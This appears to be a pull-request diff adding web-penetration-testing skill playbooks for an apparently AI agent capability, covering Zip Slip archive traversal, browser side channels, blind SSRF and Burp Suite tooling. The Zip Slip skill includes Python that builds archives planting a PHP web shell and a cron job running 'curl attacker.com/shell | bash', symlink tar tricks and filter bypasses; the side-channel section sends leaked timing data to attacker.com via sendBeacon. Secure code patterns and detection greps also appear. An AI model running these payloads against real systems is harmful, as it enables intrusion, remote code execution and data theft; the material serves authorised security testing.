Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions capabilities/web-security/capability.yaml
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
schema: 1
name: web-security
version: "1.0.3"
version: "1.1.0"
description: >
Web application penetration testing with 30+ attack technique playbooks
Web application penetration testing with 60+ attack technique playbooks
covering request smuggling, cache poisoning, SSRF, SSTI, DOM
vulnerabilities, authentication bypasses, parser differentials, and
client-side attacks. Includes HTTP client tooling, Caido proxy
Expand Down
316 changes: 42 additions & 274 deletions capabilities/web-security/skills/agent-browser/SKILL.md

Large diffs are not rendered by default.

113 changes: 113 additions & 0 deletions capabilities/web-security/skills/archive-path-traversal/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
---
name: archive-path-traversal
description: "Zip Slip and archive extraction path traversal vulnerabilities. Use when target has file upload with archive extraction, plugin installers, backup restoration, or any feature that unpacks ZIP/TAR/JAR/WAR/APK archives."
---

# Archive Path Traversal (Zip Slip)

When an application extracts archive entries using the entry name directly as the output path without canonicalization, an attacker-controlled entry name like `../../../etc/cron.d/pwn` writes outside the intended directory.

## Vulnerable Code Patterns

See [references/vulnerable-code.md](references/vulnerable-code.md) for patterns in Java, Python, Node.js, Go, Ruby, and .NET.

The bug is always the same: `entry.getName()` flows into a file path constructor without validation that the resolved path stays inside the target directory.

## Crafting Malicious Archives

```python
import zipfile

with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr('../../var/www/html/shell.php', '<?php system($_GET["c"]); ?>')
z.writestr('../../etc/cron.d/pwn', '* * * * * root curl attacker.com/shell | bash\n')
z.writestr('readme.txt', 'Totally normal archive')
```

```bash
# Using evilarc
python evilarc.py shell.php -p "var/www/html" -d 3 -o unix

# TAR archives
tar cf evil.tar --transform='s,^,../../etc/cron.d/,' pwn
```

## Exploitation Targets

| Target File | Impact | OS |
|-------------|--------|-----|
| `../../var/www/html/shell.php` | Web shell (RCE) | Linux |
| `../../etc/cron.d/pwn` | Cron job (RCE) | Linux |
| `../../root/.ssh/authorized_keys` | SSH access | Linux |
| `../../WEB-INF/classes/Evil.class` | Java class injection | Java |
| `../../inetpub/wwwroot/cmd.aspx` | Web shell (IIS) | Windows |
| `.env` or `../../.env` | Environment variable override | Any |

Chain with **write-path-to-rce** for framework view/template resolution that turns file write into RCE.

## Bypassing Path Traversal Filters

| Technique | Entry Name | Bypasses |
|-----------|-----------|----------|
| Backslash (Windows) | `..\..\wwwroot\shell.aspx` | Unix-only `../` check |
| Encoded slash | `..%2f..%2fetc/passwd` | String-based filter on raw name |
| Double-encoded | `..%252f..%252f` | Single decode + filter + second decode |
| Absolute path | `/etc/cron.d/pwn` | Relative path check only |
| Mixed separators | `..\/..\/etc/passwd` | Strict `../` match |

**Test order:** basic `../` first, then backslash, then encoded variants, then absolute paths.

## Symlink Attacks

Even if `../` in filenames is filtered, symlinks bypass path validation because the entry name itself is clean.

### Two-Step Symlink Write

```python
import tarfile, io

with tarfile.open('evil.tar', 'w') as t:
# Step 1: symlink "uploads" -> /var/www/html (clean name)
sym = tarfile.TarInfo(name='uploads')
sym.type = tarfile.SYMTYPE
sym.linkname = '/var/www/html'
t.addfile(sym)

# Step 2: write through symlink (still no ../ in name)
shell = tarfile.TarInfo(name='uploads/shell.php')
shell.size = len(payload)
t.addfile(shell, io.BytesIO(payload.encode()))
```

Extraction order matters: symlink created first, then file write follows the symlink. Path validation sees `uploads/shell.php` as inside dest_dir.

## Detection in Source Code

```bash
# Java
grep -rn "ZipEntry\|ZipInputStream\|JarEntry" --include="*.java"
# Python
grep -rn "zipfile\|tarfile\|extractall" --include="*.py"
# Node.js
grep -rn "adm-zip\|yauzl\|unzipper\|decompress" --include="*.js" --include="*.ts"
# Go
grep -rn "archive/zip\|archive/tar" --include="*.go"
# .NET
grep -rn "ZipArchive\|ZipFile" --include="*.cs"
# Then verify: is there path validation after entry name extraction?
```

## Testing Checklist

1. Identify all archive upload/extraction features
2. Determine archive format accepted (ZIP, TAR, JAR, etc.)
3. Craft malicious archive with `../` entry names
4. Upload and check: does extraction create files outside dest dir?
5. If blocked: try alternate traversal (backslash, encoded, symlink)
6. If file write confirmed: identify highest-impact target file
7. Chain with **write-path-to-rce** for code execution

## Related Skills

- **write-path-to-rce** -- Escalate file write to RCE via framework resolution
- **custom-sanitizer-audit** -- If path sanitization exists but is bypassable
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
# Vulnerable Code Patterns by Language

## Java (Most Common)

```java
// VULNERABLE
ZipInputStream zis = new ZipInputStream(uploadedFile);
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
File outputFile = new File(destDir, entry.getName());
outputFile.getParentFile().mkdirs();
Files.copy(zis, outputFile.toPath());
// entry.getName() = "../../etc/cron.d/pwn" -> writes to /etc/cron.d/pwn
}

// SECURE
File outputFile = new File(destDir, entry.getName()).getCanonicalFile();
if (!outputFile.toPath().startsWith(destDir.getCanonicalFile().toPath())) {
throw new SecurityException("Zip Slip: " + entry.getName());
}
```

## Python

```python
# VULNERABLE manual extraction (any Python version)
with zipfile.ZipFile(uploaded, 'r') as z:
for info in z.infolist():
path = os.path.join(dest_dir, info.filename)
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'wb') as f:
f.write(z.read(info.filename))

# NOTE: extractall() is SAFE since Python 3.12+ (CVE-2007-4559 fix)

# SECURE
resolved = os.path.realpath(os.path.join(dest_dir, info.filename))
if not resolved.startswith(os.path.realpath(dest_dir) + os.sep):
raise Exception("Zip Slip detected")
```

## Node.js

```javascript
// VULNERABLE (using adm-zip, yauzl, unzipper, etc.)
const entries = zip.getEntries();
entries.forEach(entry => {
const filePath = path.join(destDir, entry.entryName);
fs.writeFileSync(filePath, entry.getData());
});

// SECURE
const resolved = path.resolve(path.join(destDir, entry.entryName));
if (!resolved.startsWith(path.resolve(destDir) + path.sep)) {
throw new Error("Zip Slip: " + entry.entryName);
}
```

## Go

```go
// VULNERABLE
for _, f := range r.File {
fpath := filepath.Join(destDir, f.Name)
os.MkdirAll(filepath.Dir(fpath), os.ModePerm)
outFile, _ := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE, f.Mode())
rc, _ := f.Open()
io.Copy(outFile, rc)
}

// SECURE
fpath := filepath.Join(destDir, f.Name)
if !strings.HasPrefix(filepath.Clean(fpath), filepath.Clean(destDir)+string(os.PathSeparator)) {
return fmt.Errorf("zip slip: %s", f.Name)
}
```

## Ruby

```ruby
# VULNERABLE (using rubyzip)
Zip::File.open(uploaded) do |zip|
zip.each do |entry|
path = File.join(dest_dir, entry.name)
FileUtils.mkdir_p(File.dirname(path))
entry.extract(path)
end
end

# SECURE (rubyzip >= 1.3.0 has built-in protection)
# Verify: Zip.validate_entry_sizes = true (default since 1.3.0)
```

## .NET/C#

```csharp
// VULNERABLE
using (ZipArchive archive = ZipFile.OpenRead(uploaded))
{
foreach (ZipArchiveEntry entry in archive.Entries)
{
string path = Path.Combine(destDir, entry.FullName);
entry.ExtractToFile(path, true);
}
}

// SECURE
string destPath = Path.GetFullPath(Path.Combine(destDir, entry.FullName));
if (!destPath.StartsWith(Path.GetFullPath(destDir) + Path.DirectorySeparatorChar))
{
throw new IOException("Zip Slip: " + entry.FullName);
}

// NOTE: ZipFile.ExtractToDirectory() is SAFE (built-in check since .NET Core)
```
2 changes: 2 additions & 0 deletions capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,8 @@ Chain: `attacker -> SSRF -> internal service -> outbound request -> OOB callback

Services that make outbound requests when hit via SSRF: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard, W3 Total Cache. Hit them internally, they fetch your callback URL, confirming exploitation.

**Checkpoint:** Before attempting payloads, confirm blind SSRF with a canary: `?url=http://YOUR-OOB-SERVER/ssrf-test`. If no callback received, the SSRF may not be server-side.

## Fingerprinting (Blind)

| Signal | Technique |
Expand Down
87 changes: 53 additions & 34 deletions capabilities/web-security/skills/browser-side-channel/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,69 +13,88 @@ description: Browser-based side channel attacks for cross-origin data leaks via
## Techniques

### XSS-Leak via Connection Pool Exhaustion (Chrome)
Exploit Chrome's per-process socket pool limit to leak cross-origin redirects:

1. **Saturate** Chrome's 256-connection pool (open 255 persistent connections)
2. **Trigger** a cross-origin navigation that may redirect based on state
3. **Measure** which host resolves next — Chrome resolves DNS in lexicographic order when pool is full
3. **Measure** which host resolves next -- DNS timing differs under pool exhaustion
4. **Binary search** the leaked hostname character by character

Prerequisites: Victim visits attacker page, target redirects to different hosts based on auth state.

Test setup:
```javascript
// Saturate pool with 255 WebSocket connections to different hosts
for (let i = 0; i < 255; i++) {
new WebSocket(`wss://pad-${i}.attacker.com/hold`);
}
// Trigger cross-origin fetch — redirect destination leaks via timing
fetch('https://target.com/auth-redirect', {mode: 'no-cors'});
// Measure: if redirect went to admin.target.com vs login.target.com
// the DNS resolution timing differs due to pool exhaustion ordering
// Trigger cross-origin fetch -- redirect destination leaks via timing
const start = performance.now();
fetch('https://target.com/auth-redirect', {mode: 'no-cors'}).then(() => {
const elapsed = performance.now() - start;
// admin.target.com vs login.target.com have different DNS timing under pool exhaustion
navigator.sendBeacon('https://attacker.com/log', `elapsed=${elapsed}`);
});
```

**Checkpoint:** If timing variance between states is <5ms, increase sample count to 50+ and average. If WebSocket connections drop, server may be closing idle sockets -- send keepalive pings via `setInterval`.

### Cross-Site ETag Length Oracle (Express.js)
Exploit Express's default 16KB header limit to create a boolean oracle:

1. **Observe**: Express auto-generates ETag headers for responses
2. **Trigger**: Browser caches ETag, sends it back as `If-None-Match`
3. **Overflow**: Pad the request to approach 16KB header limit
4. **Differentiate**: If ETag is long (large response) → 431 error. If short → 304 Not Modified.
5. **Leak**: Response size reveals content (e.g., admin panel vs 403)
4. **Differentiate**: Long ETag (large response) -> 431 error. Short -> 304 Not Modified.

```http
GET /api/user/profile HTTP/1.1
If-None-Match: "cached-etag-value"
X-Pad: AAAA...AAAA (pad to ~16KB minus ETag length threshold)
```
- 431 = ETag + padding exceeded 16KB → response was large (user exists, has data)
- 304 = ETag matched, response was small → different state
- 431 = ETag + padding exceeded 16KB -> response was large (user exists, has data)
- 304 = ETag matched, response was small -> different state

**Checkpoint:** Send without padding first to confirm normal 200/304 behavior. Then binary search padding length: if 431 at N bytes but not N-100, ETag is between (16384-N) and (16384-N+100) bytes.

### Timing-Based State Detection
Measure response time differences for cross-origin requests:
```javascript
const start = performance.now();
const img = new Image();
img.onload = img.onerror = () => {
const elapsed = performance.now() - start;
// Authenticated responses often larger/slower than 302 redirects
if (elapsed > THRESHOLD) { /* user is logged in */ }
};
img.src = 'https://target.com/dashboard-asset';

```html
<script>
async function detectLoginState(targetUrl, samples = 30) {
const times = [];
for (let i = 0; i < samples; i++) {
const start = performance.now();
await new Promise(resolve => {
const img = new Image();
img.onload = img.onerror = resolve;
img.src = targetUrl + '?cachebust=' + Math.random();
});
times.push(performance.now() - start);
}
const mean = times.reduce((a, b) => a + b) / times.length;
const stddev = Math.sqrt(times.reduce((s, t) => s + (t - mean) ** 2, 0) / times.length);
return { mean: mean.toFixed(1), stddev: stddev.toFixed(1), samples: times.length };
}

// Logged-in: ~200ms+ (full page). Logged-out: ~50ms (302 redirect).
detectLoginState('https://target.com/dashboard-asset').then(r =>
console.log(`Mean: ${r.mean}ms, StdDev: ${r.stddev}ms`)
);
</script>
```

**Checkpoint:** Run against a known-state endpoint first to establish baseline. If stddev >30% of mean, network jitter is too high -- increase sample count or use HTTP/2 multiplexing.

### Cache Probing
Detect if a user has visited a URL by measuring cache hit vs miss timing:
- Cached resource loads in ~1-2ms
- Network fetch takes 50ms+
- Reveals browsing history for same-origin resources
Cached resource loads in ~1-2ms vs network fetch at 50ms+. Reveals browsing history for same-site resources.

**Checkpoint:** Clear cache and re-measure to confirm delta is reproducible. Modern browsers partition cache by top-level site -- this only works for same-site resources.

## Workflow

## Detection Checklist
1. Map target redirects that differ based on auth/role state
2. Identify response size differences between states (admin vs user vs anon)
3. Check if Express.js (ETag auto-generation) or similar framework in use
4. Test `performance.now()` timing resolution in target browser
5. Determine if attack requires user interaction or is fully passive

## Key Insight
These attacks don't require XSS — they exploit browser resource management (sockets, cache, headers) as an oracle. The information leaks through metadata (timing, status codes, resource limits), not content.
4. Select technique based on available signal:
- Size difference -> ETag oracle
- Redirect difference -> connection pool exhaustion
- Timing difference -> timing-based detection
5. Run PoC with >=30 samples, calculate mean/stddev
6. If stddev > mean/3 -> increase samples or try different technique
7. Confirm cross-origin: PoC must work from attacker origin, not same-origin
10 changes: 8 additions & 2 deletions capabilities/web-security/skills/burp-suite/SKILL.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
---
name: burp-suite
description: Burp Suite Professional MCP integration reference. Use when working with Burp proxy history, sending requests through Burp, using Repeater/Intruder, checking scanner issues, or performing OOB testing with Collaborator.
description: Queries Burp proxy history, sends requests via Repeater, configures Intruder attacks, retrieves scanner findings, and performs OOB testing with Collaborator. Use when working with Burp proxy history, sending requests through Burp, using Repeater/Intruder, checking scanner issues, or performing OOB testing with Collaborator.
---

# Burp Suite MCP Tools
Expand All @@ -25,7 +25,7 @@ send_http1_request(
)
```

All requests appear in Burp's proxy history automatically.
All requests appear in Burp's proxy history automatically. **Verify:** After sending, confirm the request appears with `get_proxy_http_history(count=1, offset=0)`.

## Proxy History

Expand Down Expand Up @@ -101,3 +101,9 @@ output_user_options() set_user_options(json)
```

Export config first to understand the schema before setting options.

## Common Workflows

1. **SSRF confirmation via Collaborator**: `generate_collaborator_payload` → inject URL into SSRF parameter via `send_http1_request` → `get_collaborator_interactions` to confirm callback
2. **IDOR testing via Repeater**: `create_repeater_tab` with request for resource A → modify ID to resource B → compare responses
3. **Scanner triage**: `get_scanner_issues(count=20, offset=0)` → review severity/confidence → replay high-confidence findings with `send_http1_request` to confirm
Loading
Loading